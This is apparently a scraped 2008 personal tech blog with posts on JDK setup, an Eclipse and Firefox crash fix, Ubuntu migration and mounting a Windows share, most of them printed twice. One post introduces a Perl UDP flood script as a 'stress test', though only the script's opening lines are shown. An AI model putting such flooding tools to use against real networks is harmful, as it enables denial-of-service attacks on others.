JDK INSTALLATION
No need to argue, just use 'apt-get' things :
sudo apt-get update
for java 5
sudo apt-get install sun-java5-jre sun-java5-jdk
for java 6
sudo apt-get install sun-java6-jre sun-java6-jdk
verify ur installation
java -version
java version "1.6.0_06"
Java(TM) SE Runtime Environment (build 1.6.0_06-b02)
Java HotSpot(TM) Server VM (build 10.0-b22, mixed mode)
to list all ur java installed
sudo update-java-alternatives -l
java-1.5.0-sun 53 /usr/lib/jvm/java-1.5.0-sun
java-6-sun 63 /usr/lib/jvm/java-6-sun
to change ur default java
sudo update-alternatives --config java
SETTING JAVA ENV
edit this file
sudo vi /etc/environment
add line
# java 5
export JAVA_HOME=/usr/lib/jvm/java-1.5.0-sun
# java 6
#export JAVA_HOME=/usr/lib/jvm/java-6-sun
# tomcat 5
export CATALINA_HOME=/data/java/jakarta-tomcat-5.0.18
save ur file and logout
check ur env with
env | grep JAVA_HOME
env | grep CATALINA_HOME
Sunday, July 6, 2008
Friday, July 4, 2008
Eclipse Europa crash with Firefox 3.0
After i've updated my browser to Firefox 3.0, my Eclipse Europa 3.3.2 crashed and give errors:
No more handles (java.lang.UnsatisfiedLinkError: no swt-mozilla-gtk-3349 or
swt-mozilla-gtk in swt.library.path, java.library.path or the jar file)
at org.eclipse.swt.SWT.error(SWT.java:3589)
at org.eclipse.swt.SWT.error(SWT.java:3481)
at org.eclipse.swt.browser.Mozilla.create(Mozilla.java:323)
everytime i tried to open *.jsp using Amateras plugin.
SOLVED it by installing xulrunner:
sudo apt-get install xulrunner
it will takes 23MB from ur disk. Restart ur eclipse. SOLVED
No more handles (java.lang.UnsatisfiedLinkError: no swt-mozilla-gtk-3349 or
swt-mozilla-gtk in swt.library.path, java.library.path or the jar file)
at org.eclipse.swt.SWT.error(SWT.java:3589)
at org.eclipse.swt.SWT.error(SWT.java:3481)
at org.eclipse.swt.browser.Mozilla.create(Mozilla.java:323)
everytime i tried to open *.jsp using Amateras plugin.
SOLVED it by installing xulrunner:
sudo apt-get install xulrunner
it will takes 23MB from ur disk. Restart ur eclipse. SOLVED
Wednesday, July 2, 2008
Induction
Last june, i've attended 2 weeks induction at sungai petani, kedah.
Hurm, quite lazy to write a thousand words right now.
So i've changed it with pictures - that worth a thousand words too..hehehe
Enjoy my thousand words :D




pic #1 desc: some applicant was caught 'resting' during lecture time

pic #2 desc: new idea + invention was created to cure 'resting' phenomenas



pic #3 desc: yeay now we are safe. camouflage 'resting' :D




pic #4 desc: the good old /*days*/ school bus day - cave explorer
Hurm, quite lazy to write a thousand words right now.
So i've changed it with pictures - that worth a thousand words too..hehehe
Enjoy my thousand words :D



pic #1 desc: some applicant was caught 'resting' during lecture time
pic #2 desc: new idea + invention was created to cure 'resting' phenomenas
pic #3 desc: yeay now we are safe. camouflage 'resting' :D

pic #4 desc: the good old /*days*/ school bus day - cave explorer
Sunday, June 8, 2008
UDP Flood perl script
Have u ever wonder how your network devices(s) behavior in stress state?
Try follow this simple steps to make UDP Flood :
1. touch /tmp/udpflood.pl
2. chmod +x /tmp/udpflood.pl
3. copy & paste this to ur udpflood.pl script :
#!/usr/bin/perl
##############
# udp flood.
##############
use Socket;
use strict;
if ($#ARGV != 3) {
print "flood.pl
Try follow this simple steps to make UDP Flood :
1. touch /tmp/udpflood.pl
2. chmod +x /tmp/udpflood.pl
3. copy & paste this to ur udpflood.pl script :
#!/usr/bin/perl
##############
# udp flood.
##############
use Socket;
use strict;
if ($#ARGV != 3) {
print "flood.pl
Fedora 9 Sulphur is out now
Fedora is a Linux-based operating system that showcases the latest in free and open source software. Fedora is always free for anyone to use, modify, and distribute. It is built by people across the globe who work together as a community: the Fedora Project. The Fedora Project is open and anyone is welcome to join.
The Fedora Project is out front for you, leading the advancement of free, open software and content.
get it Here
more info about F9 Here
Wednesday, May 14, 2008
Migration or Migraine-tion
This is my 5th day living and computing and typing and mouse-ing and scrolling and rebooting and retrying and retrying and rebooting and retrying and rebooting and scratching my head just because my migration OR migraine-tion process into ubuntu world with my T60 Thinkpad. Arghhh...!!!
Briefly, this is what i've successfully done :
1. Installed Ubuntu 8.04 LTS with 2.6.24-16-generic kernel ( ofcourse la..hehe :"> )
2. intel 3945 wireless LED
3. my trackpoint speed + sensitivity
4. trackpoint middle button scrolling
5. eclipse IDE
6. Apache 4, 5
7. Tomcat 4, 5
8. mysql
9. php
10. finger print reader
11. fn + keys functions
12. thinkpad hard disk active protection system (hdps)
13. tp_smpi
14. IE6 inside wine
15. windows xp inside qemu *
16. compiz-fushion *WOW
17. etc etc...
* my qemu installation process running without any problem until i realize that my intel T5500 processor is the only T5*** series that not support virtualization technology !!! WTF!!!!!!!!!!!!
no wonder when i boot my winxp inside qemu the process a little big big big BIG BIG PIG PIG slowwww...the word F again repeatedlyyyyy..huhuhuhuhu
my window$ installation process inside qemu (memory remains....)
Briefly, this is what i've successfully done :
1. Installed Ubuntu 8.04 LTS with 2.6.24-16-generic kernel ( ofcourse la..hehe :"> )
2. intel 3945 wireless LED
3. my trackpoint speed + sensitivity
4. trackpoint middle button scrolling
5. eclipse IDE
6. Apache 4, 5
7. Tomcat 4, 5
8. mysql
9. php
10. finger print reader
11. fn + keys functions
12. thinkpad hard disk active protection system (hdps)
13. tp_smpi
14. IE6 inside wine
15. windows xp inside qemu *
16. compiz-fushion *WOW
17. etc etc...
* my qemu installation process running without any problem until i realize that my intel T5500 processor is the only T5*** series that not support virtualization technology !!! WTF!!!!!!!!!!!!
no wonder when i boot my winxp inside qemu the process a little big big big BIG BIG PIG PIG slowwww...the word F again repeatedlyyyyy..huhuhuhuhu
my window$ installation process inside qemu (memory remains....)
Tuesday, April 15, 2008
mount win2k ntfs
This is my documented on how to mount networked win2k shared folder using linux.
In my case i'm using centos5.
On your linux box, as root :
create a mountpoint for your windows
mkdir /mnt/win2k
change owner/permission to your mountpoint
chmod 777 /mnt/win2k
mount your desired win2k folder to your mountpoint
mount -t cifs -o username=[win2k user], password=[win2k passwd], workgroup=[win2k workgroup] //[win2k ip or hostname] /mnt/win2k --verbose
Just change the [in bracket arg] with your own.
Hepi mounting :)
In my case i'm using centos5.
On your linux box, as root :
create a mountpoint for your windows
mkdir /mnt/win2k
change owner/permission to your mountpoint
chmod 777 /mnt/win2k
mount your desired win2k folder to your mountpoint
mount -t cifs -o username=[win2k user], password=[win2k passwd], workgroup=[win2k workgroup] //[win2k ip or hostname] /mnt/win2k --verbose
Just change the [in bracket arg] with your own.
Hepi mounting :)
Subscribe to:
Posts (Atom)